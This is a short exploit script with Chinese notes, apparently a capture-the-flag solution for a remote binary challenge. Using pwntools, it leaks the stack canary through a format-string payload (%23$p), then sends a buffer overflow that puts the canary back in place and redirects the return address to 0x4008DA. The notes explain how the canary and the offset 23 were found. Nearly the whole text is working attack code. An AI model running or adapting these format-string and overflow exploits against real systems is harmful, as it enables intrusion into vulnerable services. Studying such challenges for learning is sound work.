exp
from pwn import *
p=remote('61.147.171.105' ,64741)
p.sendlineafter('3. Exit the battle','2')
p.sendline('%23$p')
p.recvuntil('0x')
canary=int(p.recv(16),16)
payload='a'*0x88+p64(canary)+'a'*8+p64(0x4008DA)
p.sendlineafter('3. Exit the battle','1')
p.sendline(payload)
p.interactive()
一个函数中最后与v2做异或对比,说明v2可能就是canary
其中利用aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p求得字符串的偏移是6,buf和v2的偏移0x88/8=17。因此总偏移为23,是%23$p